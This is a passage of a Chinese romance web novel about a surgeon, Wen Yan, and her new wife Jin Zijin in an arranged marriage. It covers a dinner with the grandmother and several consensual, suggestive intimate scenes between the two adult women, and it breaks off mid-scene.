温言看着窗外缓慢移动的车龙,有些过意不去:“送我的话,你会迟到吧?”
“不会。”靳子衿正低头查看平板上的邮件,头也没抬,“我今早出差,直接去机场。”
她顿了顿,指尖在屏幕上滑动一下,才继续道:“况且新婚第一天,送伴侣上班是应该的。”
温言愣住:“你要出差?”
“嗯,明晚回来。”靳子衿终于从邮件里抬起头,看向温言,“放心,不会耽误陪你回门。”
温言一时语塞。
连回门的日子都记得,这份“用心”让她心底泛起复杂的涟漪。
她沉默了几秒,才轻声问:“你平常通勤要多久?”
靳子衿挑眉:“怎么?”
“我住的地方离医院近,骑车十五分钟。”温言老实回答,“以后我可以自己通勤,不用麻烦司机。”
靳子衿看了她一眼,没接话,只淡淡“嗯”了一声。
车终于在医院门口停下时,温言已经迟到了一个多小时。
她抓起包就要下车,手腕却被靳子衿轻轻握住。
“怎么了?”温言回头。
靳子衿没说话,只是看着她。
晨光从车窗斜照进来,在温言睫毛上投下细碎的金影。
很漂亮。
真的很漂亮。
她的新婚妻子,有一双惹人怜爱的眼睛。
靳子衿这么想着,微微倾身,轻声说:“离别吻。”
温言下意识地凑过去想吻她的脸颊,触碰的刹那,靳子衿却偏过头,精准地含住了她的唇。
这是一个很轻的吻,带着早晨清新的薄荷味,和一丝若有若无的柑橘冷香。
短暂得像个梦。
温言还愣着,靳子衿已经退开,指尖在她手背上轻轻一推:“去吧。”
车门关上,黑色轿车汇入车流。
温言站在原地,直到手机震动,是科室催她上台的消息,她才恍然回神,转身朝医院大楼跑去。
——————
因为早上的耽搁,等手术结束时已是下午一点。
温言摘下口罩,拖着发僵的腿走出手术室。
前台的护士看见她,连忙喊:“温医生,有人找!”
会是谁?
温言疑惑地走过去,看见休息区站着个穿素色连衣裙的年轻女孩,手里拎着精致的多层餐盒。
女孩看见她,眼睛一亮:“温医生!小姐让我来送午饭。”
她将餐盒递过来,语气轻快:“小姐说您一忙起来就忘了吃饭,让您务必按时吃。”
温言愣住了。
餐盒沉甸甸地落在掌心,还带着温热的触感。
这么多年,连她母亲都没来医院送过饭,倒是在这场仓促婚姻里的“妻子”,想到了。
温言道了声谢,声音干涩:“谢谢。”
女孩说不用,并且叮嘱她要好吃饭,这才转身离去。
温言拎着餐盒走进休息室,刚打开盖子,香味就溢了出来。
食盒里,荤素搭配,汤菜俱全,还贴心地配了餐后水果。
温言想了想,找到自己放置在一旁的手机,打开一看,发现一个小时前,靳子衿给她发了微信。
是一张机场照片,并附带说明:“我登机了。”
“让人给你送了饭,你记得吃饭。”
很简单的叮嘱,没有多余的情绪,但就是让人看得暖洋洋的。
温言忍不住勾起唇角,她忍不住拿起手机,对准食盒“咔嚓”拍了下去。
连续拍了好几张后,她挑了最好看的一张,发了过去:“在吃了。”
“看起来很香,谢谢。”
刚发送结束之后,隔壁组刚结束手术的医生护士推门而入,闻到香味赞叹了一句:“好香啊。”
为首的护士长一边脱手套,一边问:“温医生,哪家店点的?推荐一下!”
温言家境好是科室里都知道的事,但她从不铺张,吃饭也简单。
温言笑笑,收起了手机道:“不是店里点的,是人送的。”
同组主持手术的师兄张盛闻言,打趣了一句:“该不会是爱慕者送的吧?”
其他人顺着接话:“啊?我们小温医生,终于迎来春天了吗?”
众人嘻嘻哈哈的,温言低头看着餐盒里摆成花瓣状的胡萝卜片,忽然笑了。
“不是。”她抬起头,语气平静,“是我太太送的。”
空气安静了一瞬。
张盛骤然抬眸,看向温言,一时之间都怔住了。
不知道谁提高了音量:“我靠!温医生你结婚了?!”
“什么时候的事?怎么一点风声都没有?”
“是女孩子吗?长得怎么样?”
七嘴八舌的问话涌过来。
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温言点点头,语气里不自觉地带了笑意:“昨天结的。家里人介绍的……是个很好的人。”
“喜糖呢喜糖呢。”
“哇靠,我们科室的喜事啊,必须请吃喜糖!”
“对对对,这个糖必须吃。”
温言想了想,笑了一下:“好,下回我记得带。”
休息室内想起了快乐的欢笑声。
唯有张盛一语不发,他站在一旁,望着温言,一幅若有所思的模样。
很快,食堂的护工将盒饭推来。
众人吃着盒饭,开始说别的话题。
休息室里热热闹闹的,温言不在说话,她坐在窗边,一口一口吃着还温热的饭菜。
味道很好,全都是她喜欢的口味。
结婚……有人惦记……好像也不赖。
温言吃着吃着,思绪又飘回昨夜。
从生理学角度说,女性受睾酮水平限制,通常不易被单纯的身体欲望裹挟。
可昨夜,温言第一次体会到什么叫“失控”。
女人的声音、颤抖、紧绷又放松的肌理,还有那弥漫在空气里的、潮湿的柑橘香……
所有的这些,编织成一张细密的网,让她心甘情愿陷落其中,成为被俘的猎物。
在此之前,温言一直觉得,除了那些干净漂亮的骨骼标本,以及被她手打磨出光泽的矿石,她没有什么别的爱好。
她喜欢这些沉默,稳定,不会变质的东西。
至于人这种善变,多情,又令人不安的物种,则与她完全绝缘。
所以温言从没想过,自己会栽在一个活生生的的女人身上。
对温言而言,靳子衿太“甜”了。
亲一下是清甜的晨露,轻咬一口会漾出黏腻的花蜜。
仿佛怎么尝,都是好的。
有好几个瞬间,温言怀疑自己是不是变成了别的什么东西。
不然为什么,当靳子衿如藤蔓般攀附着她肩头,在她耳边喘息时,她会忍不住咬上那截白皙的脖颈?
甚至想生出尖牙,咬穿皮肤,尝尝那下面的血液是不是也一样甜。
这念头冒出来时,温言自己都惊出一身冷汗。她慌忙松口,想退开——
却被靳子衿一把攥住头发。
女人的手指穿进她发间,带着不容抗拒的力道,将她的脸按回自己肩窝。
香甜喘息声贴在耳畔,烫得惊人:“咬这里。”
温言僵了一瞬。
然后她疯了似的咬上去。
牙齿叼住肩头软肉,却舍不得用力,只留下浅浅的印子。
但是手上动作发了狠,像要把人揉进骨血里。
快感如潮水堆叠,一浪高过一浪,几乎将靳子衿淹没。
她咬住下唇,身体绷成一张拉满的弓,从喉间挤出一声压抑的闷哼,拽着温言头发的手越发用力。
越拽越紧,越拽越紧。
直到她再也承受不住那力道,才猛地松开手,抬起右脚狠狠踹在温言肩头。
温言被踹得一个踉跄,险些摔下床。
她跪在床边稳了稳呼吸,抬起湿漉漉的眼睛看向床上的人。
靳子衿半靠在床头,抬手将汗湿的额发向后捋去,露出那张泛着潮红的脸。
夜灯昏黄,照着她剧烈起伏的胸口,像风雪里涌动的浪,白得晃眼。
空气里弥漫着浓重的柑橘香,混着一股说不清的糜艳气息,熏得温言头晕目眩。
她像闻到蜜糖的小熊,不由自主地跪行几步,重新凑到靳子衿面前。
呼吸交错,鼻尖蹭着鼻尖,全是彼此的味道。
温言看着眼前的新婚妻子,眼神直勾勾的,仿佛下一秒就要把人吞吃入腹。
僵持不过数秒。
靳子衿忽然抬手,勾住温言的脖子,将她拉向自己——
视线颠倒,天旋地转。
温言跌进一片温软潮湿的沼泽。
感官被无限放大。
一切开始失控。
现在能回想起来的,只有女人身上的甜香,以及几乎要把她淹没的湿润。
靳子衿……简直是个蜜罐子。
一想到这里,温言就忍不住心口发颤。
5. 忽然结婚啦:05
暮色四合时,温言终于脱下手术服。
墙上的时钟指向六点半,比往常早了近一小时。
她走到储物柜前,从里面拿出自己的双肩包,然后开始换鞋子。
张盛正好从隔壁手术室出来,看见她,眼里闪过一丝讶异:“今天这么早?”
“嗯。”温言应了一声,弯腰换鞋。
“要不要去攀岩馆?”张盛走过来,倚着柜门,“新开的,岩壁条件不错。”
温言直起身,把背包甩到肩上:“不了,赶着回家。”
“你又回家。”张盛皱眉,语气里带着不易察觉的焦躁,“温言,你真的很难约。”
他嘀咕了一句:“也不知道是哪个女人这么有本事,能把你泡到手……”
“这个说法不对。”温言打断他,声音平静得像在纠正病历记录里的术语错误,“我是个人,不是泡面,所以不能用‘泡’这个动词。谢谢。”
她说完,侧身从他身边走过。
张盛站在原地,看着她瘦削挺直的背影消失在走廊拐角,半晌,才低低骂了句什么。
————————
医院外的晚风带着初冬的凛冽。
温言习惯性扫了辆共享单车,慢悠悠蹬起来。
她喜欢骑车。
风声在耳畔呼啸而过时,能把手术室里消毒水的味道、家属焦灼的询问、器械碰撞的金属声,都一点点吹散。
经过巷口那家开了十几年的卤菜店时,她捏闸停下。
“温医生下班啦?”老板娘熟稔地招呼,“今天有新卤的鸡腿,去了皮的,给你留了两个。”
“谢谢王姨。”温言扫码付钱,接过还温热的纸袋。
油脂浸透纸张,在手心晕开一小片暖意。
她骑着自行车,开往市中心最繁华的地段。约莫十分钟后,停在一栋玻璃幕墙的摩天大楼前。
这是城中顶级的住宅楼,一层两户,私密性极好。
温言的公寓在顶层。
电梯直通入户,门打开时,感应灯光自动亮起。
柔和的暖光,从天花板的隐形式灯带,到墙角的落地灯,再到中岛台上那盏意大利设计师款的吊灯,渐次点亮。
六百平的大平层,上下两层打通。
挑高六米的客厅,整面墙的落地窗外是璀璨的城市夜景。
室内装修是极简的现代风格,大面积留白,家具寥寥无几,但每一件都看得出是精心挑选的:意大利Minotti的沙发,丹麦&Tradition的扶手椅,德国Flos的灯具。
空旷,寂静,一尘不染。
温言把公文包放在玄关的悬浮柜上,脱下平底鞋,赤脚踩在温热的橡木地板上,径直走向西侧的健身区。
这是一个八十平米的专业运动室。
一面墙是落地镜,另一面墙挂着各种训练器械:TRX悬挂带、壶铃、战绳。
角落里放着一台专业的划船机,旁边立着一个实木武器架,上面整齐排列着几柄练习用的八极拳器械:双刀、大枪、还有两把沉甸甸的铸铁锤。
骨科医生需要惊人的体能。
温言从大学拜入师门起,就养成了严苛的训练习惯。
晨练拳法,晚练力量,雷打不动。
她今天练锤法。
不是健身房那种花哨的壶铃摆动,而是真正的八极拳器械功法。
温言换了套运动服,从武器架上取下那对铸铁锤,在镜前站定。
呼吸下沉,重心放低。
然后起势。
“八十……八十……”
低沉的号子声在空旷的运动室里回荡。
配合着规矩的呼吸,这对将近三十公斤的锤子在她手中划出沉重的弧线,风声呼啸。
她练的是“砸桩”的基本功。
模拟将木桩砸入地下的动作,要求力道沉实,劲贯始终。
汗水很快浸湿了运动衫的后背。
布料贴在皮肤上,勾勒出流畅的背部肌理和纤细的腰线。
镜中的女人眼神专注,嘴唇抿成一条直线,每一次挥锤都带着精准的控制力。
不知练了多久,手机在旁边的器械架上震动起来。
温言放下铁锤,喘着气走过去。
屏幕上跳动着两个字:老婆。
这个备注还是昨天靳子衿亲自存的,温言盯着那两个字看了两秒,指尖才滑向接听键。
“喂?”
“还没下班?”靳子衿的声音传来,背景很安静,但能听见细微的模糊回声,“怎么还不回家。”
“家”这个词让温言顿了顿。
她环顾四周,这是她住了四年的地方,每一件家具都是她亲自挑选,每一个角落都符合她的生活习惯和审美。
巨大的落地窗外是她熟悉的城市天际线,运动室里弥漫着她自己的汗水味道。
但靳子衿说的“家”,在南郊,有花园和湖泊,有昨晚她们共同躺过的那张床。
“我回自己的公寓了。”温言说。
电话那头安静了一瞬。
“有什么事吗?”温言问。
“没什么大事。”靳子衿的声音听起来很放松,甚至带着一点慵懒,“我出差了,奶奶担心你一个人吃饭孤单,想让你过去和她吃晚饭。”
温言瞬间明白了。
是老太太等不到她,着急了。
“我现在可以过去。”她立刻说。
“不用那么着急。”靳子衿似乎轻轻笑了一下,“从你那边到老宅,不堵车也要一个多小时。”
“你就在自己那儿呆着吧,奶奶那边我会去说。”
温言握着手机,走到落地窗前。
窗外是流淌的车河和霓虹,这座城市正在进入夜晚最繁华的时刻。
她踟躇着开口:“这样……会不会不太好?”
“没事。”靳子衿的语气很笃定,“奶奶最疼小辈,不会计较这些。更何况你今天刚下手术,该好好休息。”
“那我明天过去?”温言试探道。
“明天也不用。”靳子衿的声音里带着笑意,“还上着班呢,跑来跑去多累。”
温言沉默了。
她想起早晨车里靳子衿说“新婚第一天,送伴侣上班是应该的”,想起那个薄荷味的离别吻,想起今天中午热气腾腾的午饭……
她从未主动要求过的温柔以待,像羽毛一样轻轻搔刮着心口。
“没事。”她听见自己说,“司机会送,这个你不用担心。”
电话那头传来很轻的吸气声,然后是高跟鞋敲击地面的声音。
靳子衿似乎在走动。
片刻之后,女人问道“你现在在做什么?”
温言老老实实地回答了:“刚练完锤法。”
“锤法?”靳子衿的声音里透出好奇,“什么锤?”
“八极拳的器械。”温言走到武器架旁,手指拂过冰凉的铁锤表面,“铸铁的,每把十五公斤。”
“哦——”靳子衿拖长了尾音,那声音透过电流传来,莫名带着钩子,“十五公斤的铁锤……温医生果然很有劲。”
温言的心跳漏了一拍。
“我看看?”靳子衿又说。
看看?
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温言还没反应过来,电话已经被挂断。
下一秒,微信视频通话的请求弹了出来。
她低头看了眼自己,运动速干衣被汗水浸湿了一片,紧贴在身上,头发也黏在额前,脸上肯定还泛着运动后的潮红。
很狼狈,很不适合见人,
理智告诉她应该拒绝,可指尖已经不受控制地点下了“接听”。
屏幕亮起。
靳子衿出现在画面里。
她站在某个酒店的落地窗前,身后是异国城市的璀璨夜景。
女人穿着香槟色的缎面晚礼服,肩上随意披着件黑色西装外套,长发一丝不苟地盘在脑后,露出优美的脖颈和锁骨。
但最夺目的,是她颈间那串钻石项链。
主石是一颗至少有十克拉的梨形钻石,澄澈得像一滴凝固的冰泉,四周密镶着细碎的粉钻,灯光下流转着虹彩般的光晕。
项链顺着锁骨的弧度蜿蜒而下,末端隐入礼服的深V领口。
雍容,矜贵,美得极具攻击性。
和昨夜那个在她身下喘息,头发汗湿地贴在颊边,眼神湿漉漉勾着她的女人,判若两人。
温言一时忘了呼吸。
“看看铁锤。”靳子衿的声音把她拉回现实。
温言立即调整了一下镜头角度,让她能够看到放在架上的铁锤。
“这就是十五公斤的铁锤?”
女人单手托着下巴,目光透过屏幕,慢条斯理地扫过地上的铁锤。
她点了点头,露出赞许的目光,笑了一下:“看看你。”
温言很听话,几乎是她话音落下的瞬间,就调整了镜头,让自己整个出现在靳子衿面前。
靳子衿的上移,落在温言被汗水浸湿的脖颈,起伏的胸口,最后定格在她因为训练而绷紧的小臂线条上。
“肱桡肌的分离度很好。”靳子衿评价道,语气专业得像在鉴赏雕塑,“核心力量应该也很强。”
温言:“……”
一种难以形容的感觉,微妙地涌上来。
她觉得自己像是博物馆里的展品,正在被一位眼光挑剔的收藏家细致打量。
但靳子衿的眼神里并没有令人不适的狎昵,只有纯粹的欣赏。
温言忽然问:“你对肌肉结构很了解?”
话一出口,她自己都愣了一下。
靳子衿显然也没料到她会这么问。
女人挑了挑眉,随即笑起来。
她眼角弯起,神情愉悦。。
“见的人多了,自然懂一些。”她坦然承认,“但像温医生这样,既能拿手术刀,又能抡十五公斤铁锤的……”
靳子衿顿了顿,补充道:“是第一个。”
温言“哦”了一声,目光又飘回那串钻石项链上。
她在想,靳子衿戴翡翠应该也很好看。
那种沉静又内敛的绿,衬她冷白的皮肤,或许比钻石更显气质。
靳子衿很快就发现了她的走神:“你在想什么?”
“在想……”温言老实说,“你戴翡翠可能更合适。”
靳子衿笑了:“奶奶也这么说。”
“她收藏了不少好东西,下次带你去看。”
视频通话又持续了几分钟,大部分时间是靳子衿在说她在国外的行程,温言安静地听。
直到有人敲门,用英语提醒靳子衿该去赴宴了,两人才结束通话。
屏幕暗了下去。
温言站在六百平空旷的公寓中央,忽然觉得心里空落落的。
有那么一瞬间,她甚至觉得,这里安静得可怕。
6. 忽然结婚啦:06
第二天下午,温言调了班。
她提前结束工作,司机已经在医院门口等候。
这次不是迈巴赫,而是一辆更低调的奥迪A8,深灰色,融入车流毫不显眼。
“温小姐,是回公寓还是?”
“去奶奶那儿。”温言说。
车驶向南郊。
温言靠在座椅上,看着窗外飞速倒退的街景。她想起昨晚靳子衿视频里的样子,想起那串钻石项链,想起她说“是第一个”。
心里有种陌生的,细密的痒。
车在靳家老宅门前停下时,天色尚早。
灰砖青瓦的老宅与她在市中心的摩天大楼公寓形成鲜明对比,这里的时间流速似乎都慢一些。
刘姨迎出来,笑容温和:“温小姐回来了?老太太一直在等您呢。”
“刘姨好。”温言点点头,“奶奶吃饭了吗?”
“还没,说要等您一起。”
温言跟着穿过庭院。
老宅内部是传统的中式格局,回廊曲折,庭院深深。
院中那棵老银杏满树金黄,落叶铺了厚厚一层。
老太太靳霜叶坐在轮椅上,就在正厅的廊下等着。
看见温言,老人脸上绽开笑容:“言言回来啦?”
温言拢共也就见了老人家两面,但不妨碍她当个乖孩子。
她快步走过去,蹲在轮椅前:“奶奶好。您怎么坐轮椅了?”
“老毛病了。”靳霜叶拍拍她的手,“一到冬天膝盖就疼,走路费劲。”
一旁的方管家轻声补充:“靳董这是年轻时落下的风湿。”
温言伸手,隔着羊毛毯轻轻按了按:“可能是风湿性关节炎,关节腔有积液。”她抬头,“我给您推拿一下?能缓解疼痛。”
“不用不用。”靳霜叶连连摆手,“你这刚下班,先吃饭。”
“奶奶吃了吗?”
靳霜叶没说话,方管家笑道:“就等您了。”
“那我们先吃饭。”温言站起身,很自然地走到轮椅后,“吃完我给您按摩。”
“我大学时辅修过针灸推拿,手法很好的。”
温言自卖自夸了一顿。
靳霜叶怔了怔,眼底的笑意更深了:“好,听我们言言的。”
餐厅里,圆桌上已经摆满了菜。
温言扫了一眼,有些惊讶。
清蒸鲈鱼、白灼菜心、蟹粉豆腐、山药排骨汤……全是清淡的、她偏好的口味。
“也不知道你爱吃什么。”靳霜叶让方管家给她盛汤,“就让厨房都做了点。”
温言接过汤碗:“谢谢奶奶。”
一顿饭,靳霜叶几乎没怎么动筷子,光顾着给温言夹菜。
“多吃点,你看你瘦的。”老人念叨着,“当医生多耗体力啊,得壮实点才好。”
温言的碗里很快堆成了小山。
她埋头苦吃,努力消灭那些食物。
“还是你好。”靳霜叶看着她吃饭的样子,眼里满是慈爱,“能吃,身体才好。不像子衿那个丫头,小鸟胃,每顿饭都得哄着……”
温言咽下嘴里的饭菜,笑笑:“她工作忙,可能胃口不好。”
“工作再忙,也不能亏待自己。”靳霜叶叹了口气,忽然压低声音,“言言啊,子衿那孩子,性子冷,脾气倔,要是以后相处你们有什么不愉快的,你多担待,啊?”
温言握着筷子的手顿了顿。
她想起靳子衿昨夜视频里矜贵的模样,想起她在床上拽着她头发说“咬这里”的样子,想起早晨那个薄荷味的吻。
“奶奶,”温言抬起头,眼神清澈,“子衿她……对我很好。”
靳霜叶看了她一会儿,笑了:“那就好。”
吃完饭,温言兑现承诺,给老太太推拿。
她让方管家拿来药油——是上好的红花油。
温言搓热双手,从老太太的膝盖开始,一寸寸按摩。
手法专业,力道均匀。
靳霜叶起初还忍着,后来舒服得直叹气:“哎哟……是这儿……”
“这是足三里,常按对身体好。”温言解释着。
客厅里弥漫着药油的味道,混合着庭院里的桂花香。
廊下的笼灯亮起来,暖黄的光晕透过雕花窗棂洒进来。
靳霜叶闭着眼,忽然说:“子衿那孩子,辛苦。”
“父母都有自己的工作,她是我一手带大的。她小时候可不是现在这样,爱笑,也黏人……”
温言动作未停,安静地听着。
“后来长大了,工作忙得不可开交,性子就越来越淡。”老人睁开眼,看着温言,“言言,奶奶看得出来,她是真心喜欢你,不然也不会同意结婚。”
温言的手微微一顿。
“所以啊,”靳霜叶拍拍她的手背,“你们好好的,奶奶就放心了。”
就在这时,庭院里传来脚步声。
紧接着,一道清冷中带着笑意的声音从门口传来:
“奶奶,怎么我一不在家,您就和我老婆说我的坏话?这不太好吧。”
温言猛地抬头。
靳子衿站在客厅门口,她穿着一身米白色的羊绒长裙,外罩卡其色风衣,长发被晚风吹得有些凌乱,全身透着一股冬天特有的冷冽。
不过她全然没有疲态,反而眼睛很亮,正含笑看着温言。
她来的那么的突然,又那样的恰好。
四目相对。
温言忘了说话,忘了动作,就那么蹲在轮椅旁,仰头看着她。
时间仿佛在这一刻凝固。
廊下的灯笼轻轻摇晃,光影在靳子衿脸上流转。
她颈间没有戴昨晚那串钻石项链,只有一枚翡翠平安扣,藏在衣领下,随着呼吸若隐若现。
温言连呼吸都止住了,只以为此刻出现在眼前的人,是个尚未清醒的梦。
直到几秒钟后,靳子衿对温言笑了一下。
“我回来了。”她说。
声音很轻,却清晰地穿透满室灯火,落进温言耳中。
一瞬间,温言的心,也随之落入胸腔里。
啊,原来不是梦啊。
——————
靳子衿的突然归来,像一颗石子投入暮色中的平静湖面,漾开了两圈意外的涟漪。
老太太正阖眼享受着膝上恰到好处的揉按,闻声睁眼,先是讶异,随即眼角笑纹深深堆起:“你这孩子,不是说今晚有应酬?怎么跑回来了?“
“推了。“靳子衿答得轻描淡写,将风衣递给迎上来的方管家。
她的目光越过祖母,落在了轮椅旁那个蹲着的身影上。
温言仰头看着她,因消耗力气浮现的薄红还在脸上。
此刻因惊讶而微微睁大的眼睛里,映着廊下摇晃的灯笼暖光,清澈得让人心头发软。
“吃饭了没有?“老太太最关心这个。
靳子衿这才收回视线,走到沙发边坐下,姿态是回到家才有的松弛:“刚下飞机就赶过来了,哪顾得上。“
“哎哟,这怎么行。“老太太连忙朝厨房方向扬声道,“张妈,快给子衿弄点吃的!“
“哎,就来。“张妈的声音伴着锅碗轻碰的脆响从里间传来。
靳子衿扬声补了一句:“张妈,一碗牛肉面就好,清汤,多放香菜。“
她说着,视线又飘向温言,长眉微挑,语气里掺进一丝似真似假的埋怨:“奶奶,您也太会使唤人了。”
“我和温言这才结婚几天,您就让她这么伺候上了?“
温言手上动作未停,指尖仍精准地按在足三里穴上,闻言连忙抬头:“没有的事,是我看奶奶腿不舒服,自己提议的。“
她语气诚恳,生怕引起误会。
老太太笑着拍拍温言的手背,对靳子衿道:“瞧瞧,人家言言多贴心。就你,一回来就挑理。“
老太太又转向温言,语气慈爱:“别理她,她啊,从小就这样,爱促狭人。“
靳子衿不置可否地弯了弯唇角,身体前倾,仔细看了看祖母盖着薄毯的膝盖,声音放软了些:“这两天腿怎么样?变天了夜里疼得厉害吗?“
“老样子,不过言言这么一按,松快多了。“老太太眯着眼,很是受用,“还是你有眼光,给我们靳家找了这么个好孩子。“
靳子衿的目光重新落回温言身上。
女人半蹲的姿势让她显得格外驯顺,低垂的睫毛在眼下投出一小片阴影,专注按摩的手指修长有力,指尖因用力而微微泛白。
靳子衿看了片刻,唇角勾起一个极淡的,却真实柔软的弧度:“是啊,运气好。“
温言恰好抬眸,撞进她含笑的眼里。
那眼神不再有视频时的审视或酒会上的疏离,只有一片淡淡的温柔。
温言心口微微一动,低下头,耳根却悄悄热了。
面很快端了上来。
清汤澄澈,牛肉切得薄而匀,翠绿的香菜碎洒在面上,热气腾腾。
靳子衿吃得很随意,但姿态依旧优雅。
席间她和老太太聊了些集团里的事,夹杂着几个温言不太懂的金融术语和项目代号,语速平缓,逻辑清晰。
温言安静地听着,偶尔给老太太揉揉腿。
她喜欢这样的氛围不刻意热闹,却有种自然而然的亲近。
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灯光昏黄如蜜,食物的香气,老人温和的絮语,还有靳子衿偶尔投来的,让人安心的目光……这一切编织成一张柔软的网,将她轻轻裹住。
她忽然觉得,所谓的“家”,应该就是这样吧。
九点刚过,靳子衿放下筷子,用餐巾拭了拭嘴角:“奶奶,您该休息了。“
老太太虽有不舍,却也点头。
方管家推来轮椅,老太太却摆摆手,示意温言:“言言,来。“
温言上前,老太太握住她的手,从自己腕上褪下一只莹润通透的翡翠镯子。
那绿色沉静如水,在灯光下流转着温润的光华。
“你们结婚仓促,许多礼数都来不及。“老太太将镯子套进温言手腕,尺寸竟意外地合适,“这算奶奶补的改口礼,不是什么稀罕东西,我戴了些年头,养得还好。”
“你收着,常戴着,养人。“
温言只觉腕间一凉,那沉甸甸的触感却透着暖意。
她下意识看向靳子衿,眼神里带着询问。
靳子衿微微颔首,声音温和:“奶奶给的,就收下吧。“
“谢谢奶奶。“温言抚着腕上的镯子,冰凉的翡翠很快染上她的体温。
老太太见状满意地,又让方艾拿了七八个盒子过来,说:“这是我给你的新婚见面礼,也收着。”
温言:……
收一个就好了,收那么多……
她求助地看向靳子衿,女人莞尔一笑,无奈道:“奶奶,这些东西,你回头让方管家送过来就行了。”
“我们回去也要十几分钟呢,不方便搬过去。”
老太太忙说好好好,回头让方管家送过去。
又寒暄两句,回到婚房时,已近十点。
推开厚重的实木门,玄关感应灯自动亮起,冷白的光线如水银泻地,将两人风尘仆仆的身影清晰勾勒。
与老宅的昏黄温馨截然不同,这里的灯光冷静而现代。
靳子衿几乎是门关上的瞬间,就卸下了所有端着的姿态。
她背靠玄关柜,长吁一口气,随即弯腰,有些粗暴地蹬掉了脚上的鞋子。
两只精致的缎面鞋子东倒西歪地躺在地板上,她则赤足踩上微凉的木地板。
女人的足踝纤细,脚背白皙,指甲修剪得干净整齐,涂着淡淡的透明护甲油。
温言将那个装着翡翠镯子的锦盒小心放在一旁的边几上,一回头便看见这一幕。
她没说话,只是转身从鞋柜里取出一双柔软的米白色羊皮室内拖鞋,走到靳子衿面前。
温言俯身,将鞋子并排放在她光裸的足边。
“地暖还没全开,光脚容易着凉。“她声音不高,带着淡淡的关切。
靳子衿嗯哼一声,不置可否。
就在温言准备直起身时,肩头忽然一沉。
温言动作顿住,抬眸。
靳子衿并没有穿鞋。
她双手向后,撑在玄关柜的台面上,身体微微后仰,垂眸审视着温言。
而她的右足,正轻轻踩在温言的左肩上。
女人的足底微凉,隔着单薄的羊绒衫,传来清晰而柔软的触感。
温言僵在原地,视线顺着那只脚向上,掠过纤细的小腿,被风衣下摆遮住一半的膝盖,最终撞进靳子衿低垂的眼眸里。
女人居高临下地望着她,廊灯在她身后勾勒出模糊的光晕,神色慵懒而倦怠。
可那双眼睛却亮得惊人,里面翻涌着某直白而滚烫的渴望。
“两天不见,“靳子衿开口,声音比平时沙哑些许,像羽毛搔刮过耳膜,“温医生......想我吗?“
温言喉头微动,还没来得及组织语言,肩上的重量便发生了变化。
那只脚缓缓下滑。
足弓柔软地碾过她的锁骨,脚趾若有似无地蹭过羊绒衫下起伏的曲线,带着一种慢条斯理,近乎折磨的狎昵,一路向下,最终踩在了她并拢的膝头。
女人甚至用脚趾,调皮地勾了勾她裤子的布料。
“我可是,“靳子衿倾身靠近,吐息间带着淡淡的冷香,热烘烘地扑在温言瞬间烧红的耳廓上,“很想,很想温医生呢。“
“轰“的一声,温言只觉得全身的血液都涌向了头顶。
又在靳子衿脚趾无意识的微小动作下轰然四散,冲向每一寸肌肤。
大脑一片空白,所有理智,所有冷静,都在这种直白到近乎野蛮的勾引下溃不成军。
靳子衿似乎很满意她这副全然懵住,任人宰割的模样,从喉间逸出一声愉悦的轻笑。
她挪开了脚,下一秒倾身捧住了温言的脸,毫不犹豫地吻了上去。
7. 忽然结婚啦:07
温言整个人都烧了起来。
血液在血管里奔涌,心脏在胸腔里擂鼓,每一个细胞都在尖叫着要靠近,想要吞噬点对方。
骨髓深处燃起的燎原大火,将她全身都点燃。
她扣在靳子衿腰后的手收紧了力道。
下一秒,她猛地站起身,右手沿着靳子衿的腰线滑上去,掌心贴合着脊骨的凹陷,不容拒绝地将人按向自己。
温言低头,咬住了靳子衿的唇。
这个吻又狠又凶,像在沙漠里跋涉了三天的旅人终于找到绿洲,贪婪又粗暴地汲取。
牙齿磕碰到一起,发出细微的声响。
靳子衿闷哼一声,却主动仰起头,舌尖迎上去。
两人气息彻底纠缠在一起。
玄关顶灯的白光冷冷地照着,将两人重叠的影子投在深灰色的墙面上。
温言吻得又深又急,靳子衿被她抵在玄关柜与身体之间,后腰硌着柜沿,却顾不得疼。
她攀住温言的肩膀,指尖陷进羊绒衫里,感受着布料下绷紧的肌肉线条。
太烫了。
温言的体温高得不正常,呼吸灼热地喷在她颈侧。
通过消毒水残留的冷冽,靳子衿隐约嗅到了,从温言身上透过来的清甜果香。
是莲雾的香气。
很淡,但莫名令人着迷。
两种截然不同的味道混在一起,竟有种诡异的催/情效果。
靳子衿全身都在发抖。
从脊椎末梢窜上来的细密酥麻,让她腿软得几乎站不住。
“温……言……”她从纠缠的唇齿间挤出一声气音,手指胡乱地抓着温言的头发,不知道是想推开,还是拉得更近。
温言的动作顿了顿。
她俯身将手臂穿过女人的膝弯,一个发力,直接将靳子衿打横抱了起来。
猝不及防,靳子衿低呼一声:“你……”
她下意识搂住温言的脖子。
温言没说话,抱着她径直走向客厅。
高跟鞋还东倒西歪地留在玄关,她赤脚踩过微凉的地板,脚步稳得像在走向手术台。
客厅没开主灯,只有角落一盏落地灯亮着。
昏黄的光晕像一小滩融化的蜜,勉强勾勒出家具的轮廓。
温言走到那张巨大的Minotti沙发前,弯腰将靳子衿放进去。
沙发柔软得像云,靳子衿陷进去的瞬间,温言已经跟着压下来。
吻再次落下。
这一次更凶。
温言的手撑在靳子衿耳侧,另一只手捧着她的脸,拇指无意识地摩挲着她的下颌线。
吻从嘴唇蔓延到下巴,再到脖颈,留下潮湿的痕迹。
靳子衿被她圈在沙发和身体之间,仰着头承受。
礼服裙子的后链子早就松了,肩带滑落,露出大片白皙的皮肤。
温言的唇贴上去时,她猛地弓起背,手指深深插进温言的发间。
“别……”她声音抖得厉害,“温言……”
温言抬起头,眼睛在昏暗的光线里亮得惊人。
她看着靳子衿泛红的脸颊,湿润的眼睫,微微张开的唇,喉结滚了滚,又低头吻住她。
这次吻得很慢,很重,像在品尝什么珍贵的东西。
靳子衿闭着眼,全身都在颤。
她能清晰地感觉到温言的手从她腰侧滑下去,隔着羊绒裙的布料,停在大腿外侧。
那只手很热,掌心有常年握器械留下的薄茧,摩挲过皮肤时带起一阵战栗。
她咬了咬下唇,终于伸手,握住温言的手腕往下。
温言的动作骤然停住。
她抬起头,眼睛里还蒙着一层水雾,茫然地看着她:“可是我没……”
洗手。
刚吃完饭回来,也没洗过澡,实在是……
温言无奈地笑了一下,准备起身:“我先抱你去浴室吧。”
靳子衿却牢牢抓住了她。
她支起身子,凑到温言耳边,湿热的气息灌进耳廓,声音低哑得像在说一个秘密:
“在左边的口袋。”
温言怔了怔。
她看着靳子衿,对方脸颊绯红,眼波流转,明明是一副意乱情迷的模样,眼神里却藏着一丝狡黠的得意。
温言伸出手,探进靳子衿风衣左侧的口袋。
指尖触到一个硬质的方形小盒子。
